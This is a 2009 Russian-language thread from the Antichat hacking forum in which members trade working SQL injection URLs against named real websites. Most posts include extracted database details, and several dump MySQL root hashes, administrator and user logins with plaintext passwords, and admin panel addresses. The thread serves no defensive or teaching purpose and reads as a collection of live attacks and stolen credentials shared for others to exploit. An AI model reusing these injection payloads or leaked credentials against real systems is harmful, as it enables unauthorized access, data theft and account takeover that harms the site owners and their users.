ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7851  
Старый 16.02.2009, 00:40
Аватар для zifanchuck
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию

ТТ Финансы

ТИЦ: 200
PR: 5

Database Version: 5.0.67-log
Database name: u24363
User name: u24363@10.10.153.190

Цитата:
http://www.ttfinance.ru/news.php?id=-4346+union+select+concat_ws(0x3a,version(),databas e(),user())--
-----------------------------------------------------------------------------------------
Российское Исламское Наследие

ТИЦ: 90
PR: 4

Database Version: 5.0.67-log
Database name: u24570_1
User name: u24570@10.10.10.221

Цитата:
http://islamnasledie.ru/news.php?id=-1372+union+select+1,2,3,4,concat_ws(0x3a,version() ,database(),user()),6,7,8,9,10,11,12--
------------------------------------------------------------------------------------------

Последний раз редактировалось jokester; 16.02.2009 в 01:07.. Причина: sovtest.ru и theplace.ru БОЯНЫ
 
Ответить с цитированием

  #7852  
Старый 16.02.2009, 02:03
Аватар для f1ng3r
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181

Репутация: 688
Отправить сообщение для f1ng3r с помощью ICQ
По умолчанию

Код:
http://www.26000gezichten.nl/news.php?id=-1+union+select+1,2,3,4,concat _ws(0x3a, version(),database(),user()),6,7,8,9,10,11,13,14,15--
Database Version : 4.0.24_Debian-10sarge2-log
Database name : 26000gezichten
User name : 26000gezichten@localhost
 
Ответить с цитированием

Еда
  #7853  
Старый 16.02.2009, 08:12
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию Еда

Wcer.wisc.edu - pr7
Цитата:
https://www.wcer.wisc.edu/articleindex/index.php?cat_id=83&parent_id=-11'+union+select+versioN()%23--&req=show_articles
Unlv.edu - pr7
http://www.unlv.edu/cgiwrap/webcgi/photogallery/index.php?cat_id=-15'+union+select+unhex(hex(version())),2/*&action=images

Последний раз редактировалось sabe; 16.02.2009 в 23:53.. Причина: ггг)) у меня их всеровно больше чем ты думаеш )
 
Ответить с цитированием

  #7854  
Старый 16.02.2009, 11:39
Аватар для spherics
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
Провел на форуме:
800953

Репутация: 443
По умолчанию

Цитата:
http://falunart.wizk.it/item.php?Cid=768809777+union+select+1,2,3,concat_w s(0x3a,version(),user(),database()),5,6,7,8,9,10,1 1,12,13,14,15--&Pid=4
Database Version: 4.0.23_Debian-3ubuntu2.4-log
Database name: wizkit
User name: peter@localhost


Цитата:
http://falunart.wizk.it/item.php?Cid=768809777+union+select+1,2,3,concat_w s(0x3a,user,password),5,6,7,8,9,10,11,12,13,14,15+ from+mysql.user--&Pid=4
root : 5ace410270df76e6


PageRank = 6

Цитата:
http://www.centromultimediale.it/page.php?id=89097654+UNION+SELECT+1,2,AES_DECRYPT( AES_ENCRYPT(CONCAT(0x3a,Version(),0x3a,Database(), 0x3a,user(),0x3a),0x71),0x71),4,5--
Database Version: 4.1.20-log
Database name: cmmweb
User name: cmmusr@mysql-cluster
 
Ответить с цитированием

  #7855  
Старый 16.02.2009, 12:43
Аватар для Assembler
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964

Репутация: 302
Отправить сообщение для Assembler с помощью ICQ
По умолчанию

Код:
http://www.jezuici.pl/faber/think.php?what=kier&id=1%20union%20select%201,2,3,4,5,6,concat_ws(0x3a,id,nick,pass,name),8,9%20from%20bazylika_admins--
(Админские данные)
Код:
http://www.jezuici.pl/faber/think.php?what=kier&id=1%20union%20select%201,2,3,4,5,6,table_name,8,9%20from%20information_schema.tables--
( Все таблицы)
Код:
http://www.jezuici.pl/bazylika/index/admin.php
(Админка)

nick: pass: name
PauluSJ: 18KVL08: Administrator

Есть еще несколько админок кому нада тот думаю сам наковыряет.
 
Ответить с цитированием

шоп...
  #7856  
Старый 16.02.2009, 15:21
Аватар для -m0rgan-
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию шоп...

Шоп...
PR:4
Код:
http://linz-shopping.ru/linz-type.html?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(concat(login,0x3a,password)),13+from+kernel_users--
логин/пасс:
Код:
root:roMdKE/jr382Q
Код:
pavel:pa6MMGOsPbNlE
Код:
linz:liXrWmY5KaAxI
--------------------------------------------------------
PR:2
ТИЦ:80
Код:
http://www.africasia.com/themiddleeast/me.php?ID=-1973+union+select+concat_ws(version(),user(),database()),2,3,4,5,6,7,8,9--
user/version/database:
Код:
africasia@localhost4.1.20-logafricasia
----------------------------------------------------
The End!

Последний раз редактировалось jokester; 16.02.2009 в 15:48..
 
Ответить с цитированием

  #7857  
Старый 16.02.2009, 17:30
Аватар для [JavaScript]
[JavaScript]
Познающий
Регистрация: 14.02.2009
Сообщений: 45
Провел на форуме:
96296

Репутация: 74
По умолчанию

Сайт института
Код:
http://www.yivo.org/index.php?tid=1+and+1=0+union+select+1,2,3,unhex(hex(concat_ws(0x3a,user(),database(),version()))),5,6,7,8,9/*
user:database:version
Y1V0_4d31n@localhost:yivo_production:4.1.9-nt

Код:
http://www.yivo.org/index.php?tid=1+and+1=0+union+select+1,2,3,unhex(hex(concat_ws(0x3a,user,password))),5,6,7,8,9+from+mysql.user/*
user : password (MySQL)
root:682a23ee48abb657


Код:
http://www.yivo.org/index.php?tid=1+and+null+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8,9+from+users+limit+0,1/*
Users:
Код:
multimerge:mm4eva
hello:password
author1:password
yivo:mm4yivo

Последний раз редактировалось [JavaScript]; 16.02.2009 в 19:51..
 
Ответить с цитированием

Девушки....
  #7858  
Старый 16.02.2009, 19:05
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию Девушки....

http://www.escorts-romania.net/en_articles.php?sid=-3+UNION+SELECT+1,2,3,4,5,concat_ws(0x3a,version(), database(),user()),7,8,9,10,11,12




Database Version: 4.1.25-Debian_mt1
Database name: db24939_escorts
User name: db24939@64.13.232.28
 
Ответить с цитированием

  #7859  
Старый 16.02.2009, 19:05
Аватар для Assembler
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964

Репутация: 302
Отправить сообщение для Assembler с помощью ICQ
По умолчанию

Код:
http://www.incity.ac/ua/firms/insurance/alfa.php?city=-1%20union%20select%201,table_name,3,4,5,6,7%20from%20information_schema.tables--
(Таблицы)

Код:
http://www.incity.ac/ua/firms/insurance/alfa.php?city=-1%20union%20select%201,concat_ws(0x3a,adm_name,adm_login,adm_password)%20,3,4,5,6,7%20from%20insity_adm--
(Админские данные)

adm_name
,adm_login,adm_password

Andrew
:incityadmin:incityadmin

Админку не нашел.. =(
 
Ответить с цитированием

summitmediapartners.com
  #7860  
Старый 16.02.2009, 19:15
Аватар для faza02
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию summitmediapartners.com

Код:
http://www.summitmediapartners.com/filemgmt/singlefile.php?lid=-2+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
5.0.67-community

таблицы: gl_users
колонки: username, passwd

админка:
Код:
http://www.summitmediapartners.com/admin/moderation.php
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ